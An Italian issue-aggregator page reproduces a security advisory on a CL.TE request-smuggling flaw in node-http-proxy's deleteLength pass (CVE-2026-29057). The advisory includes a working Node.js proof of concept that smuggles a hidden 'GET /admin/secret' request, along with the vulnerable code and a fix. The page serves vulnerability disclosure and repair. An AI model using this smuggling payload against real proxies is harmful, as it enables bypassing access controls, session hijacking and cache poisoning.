Security: HTTP Request Smuggling via deleteLength (CL.TE) — upstream unfixed CVE-2026-29057
Nessuno ha ancora preso questa issue.
Valutazione
- Difficoltà
- 3/5
- Tempo stimato
- 1-2 giorni
- Idoneità per principianti
- 72/100
- Tipo di issue
- Bug
- Chiarezza
- Specificata chiaramente
- Stato di attività
- Attiva
- Stack tecnologico
- javascript, node.js
- Ambito
- backend, networking, security
Direzione di ricerca
Inizia da lib/http-proxy/passes/web-incoming.js, quindi esegui la riproduzione keep-alive fornita per osservare come la richiesta DELETE e la richiesta inserita di nascosto raggiungono il backend. Il lavoro è completato quando il proxy non crea più il framing in conflitto mostrato nell’issue, mentre le richieste DELETE e OPTIONS legittime senza nessuno dei due header continuano a funzionare in modo sicuro.
Scritto dal modello di indicizzazione a partire dal testo della issue.
Descrizione
Summary
The deleteLength pass creates a CL.TE request smuggling vulnerability. When proxying DELETE/OPTIONS requests with Transfer-Encoding: chunked but no Content-Length, the library sets Content-Length: 0 and deletes Transfer-Encoding. The body is still piped to the backend, creating a desynchronization.
CVE-2026-29057 was assigned to Next.js for this exact issue (Next.js vendored http-proxy). The upstream http-proxy library has NOT been patched.
Affected
- Package:
http-proxy - Version: 1.18.1 (latest, released 2020-05-17)
- All versions since v0.9.0
Root Cause
lib/http-proxy/passes/web-incoming.js:
deleteLength: function deleteLength(req, res, options) {
if((req.method === 'DELETE' || req.method === 'OPTIONS')
&& !req.headers['content-length']) {
req.headers['content-length'] = '0';
delete req.headers['transfer-encoding'];
}
},
Sets Content-Length: 0 and deletes Transfer-Encoding without checking if Transfer-Encoding is present. Body is still piped via req.pipe(proxyReq).
Reproduction
const http = require('http');
const httpProxy = require('http-proxy');
const net = require('net');
const backend = http.createServer((req, res) => {
let body = '';
req.on('data', (chunk) => body += chunk.toString());
req.on('end', () => {
console.log(`[BACKEND] ${req.method} ${req.url}`);
res.end('OK');
});
});
backend.listen(9001, () => {
const httpAgent = new http.Agent({ keepAlive: true });
const proxy = httpProxy.createProxyServer({
target: 'http://127.0.0.1:9001',
agent: httpAgent // keep-alive required for smuggling
});
const server = http.createServer((req, res) => proxy.web(req, res));
server.listen(9000, () => {
const client = net.createConnection({ host: '127.0.0.1', port: 9000 });
const smuggled = 'GET /admin/secret HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n\r\n';
client.write(
'DELETE /api HTTP/1.1\r\n' +
'Host: localhost\r\n' +
'Transfer-Encoding: chunked\r\n' +
'\r\n' +
smuggled.length.toString(16) + '\r\n' +
smuggled +
'\r\n0\r\n\r\n'
);
});
});
Output:
[BACKEND] DELETE /api
[BACKEND] GET /admin/secret ← smuggled request parsed
Preconditions
- Proxy must use a keep-alive agent (default config uses
Connection: closewhich prevents smuggling) - Backend must reuse connections
- Attacker can send requests to the proxy
Impact
- Request smuggling: arbitrary second request injected to backend
- Access internal endpoints bypassing proxy routing
- Session hijacking via shared connection context
- Cache poisoning
Suggested Fix
Apply the same fix Next.js applied:
deleteLength: function deleteLength(req, res, options) {
if((req.method === 'DELETE' || req.method === 'OPTIONS')
&& !req.headers['content-length']
&& !req.headers['transfer-encoding']) {
req.headers['content-length'] = '0';
// Do NOT delete transfer-encoding
}
},
References
- CVE-2026-29057 (assigned to Next.js for this issue)
- Next.js fix: only add
Content-Length: 0when both headers absent
Reported by: @Black1hp
- Lingua principale
- JavaScript
- Stelle
- 14.1k
- Fork
- 2k
- Metriche di merge delle PR
- Nessuna PR unita negli ultimi 30g
Preparare l'ambiente
Questo progetto non fornisce container di sviluppo, Dockerfile né guida per i contributori, quindi l'ambiente è a tuo carico: parti dal suo README e consulta la nostra guida al primo contributo per i passaggi generali.
Come iniziare
- Leggi tutta la issue e poi la guida ai contributi del progetto.
- Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
- Fai un fork del repository e lavora su un branch.
- Apri una pull request che faccia riferimento al numero della issue.
Altre issue di http-party/node-http-proxy
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 78/100
http-party/node-http-proxy#1719 ·
-
Difficoltà 1/5 Meno di un'ora Idoneità per principianti 55/100
http-party/node-http-proxy#1715 · 1 commento · 5 reazioni ·
-
Is this library is dead?Aperta
Difficoltà 1/5 Meno di un'ora Idoneità per principianti 15/100
http-party/node-http-proxy#1711 · 2 commenti ·
-
HTTP3 + QUIC support?Aperta
Difficoltà 5/5 Più di una settimana Idoneità per principianti 25/100
http-party/node-http-proxy#1710 · 5 reazioni ·
-
Difficoltà 4/5 3-5 giorni Idoneità per principianti 25/100
http-party/node-http-proxy#1708 · 1 commento ·
Tutte le issue di http-party/node-http-proxy
Issue simili
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 84/100
microsoft/TypeScript#65370 ·
I maintainer di solito rispondono entro 1 giorno
-
enhancement good first issue priority: medium
Difficoltà 2/5 1-3 ore Idoneità per principianti 82/100
TMHSDigital/Free-Game-Dev-Assets#272 ·
I maintainer di solito rispondono entro 1 giorno
-
metrics priority: medium
Difficoltà 1/5 1-3 ore Idoneità per principianti 86/100
LearningCircuit/local-deep-research#8336 ·
I maintainer di solito rispondono entro 1 giorno
-
ace bug yaml
Difficoltà 2/5 1-3 ore Idoneità per principianti 75/100
I maintainer di solito rispondono entro 1 giorno
-
svelte: whitespace-only edit leaves an empty todo, edits not trimmed, filter not restored on reloadAperta
Difficoltà 2/5 1-3 ore Idoneità per principianti 72/100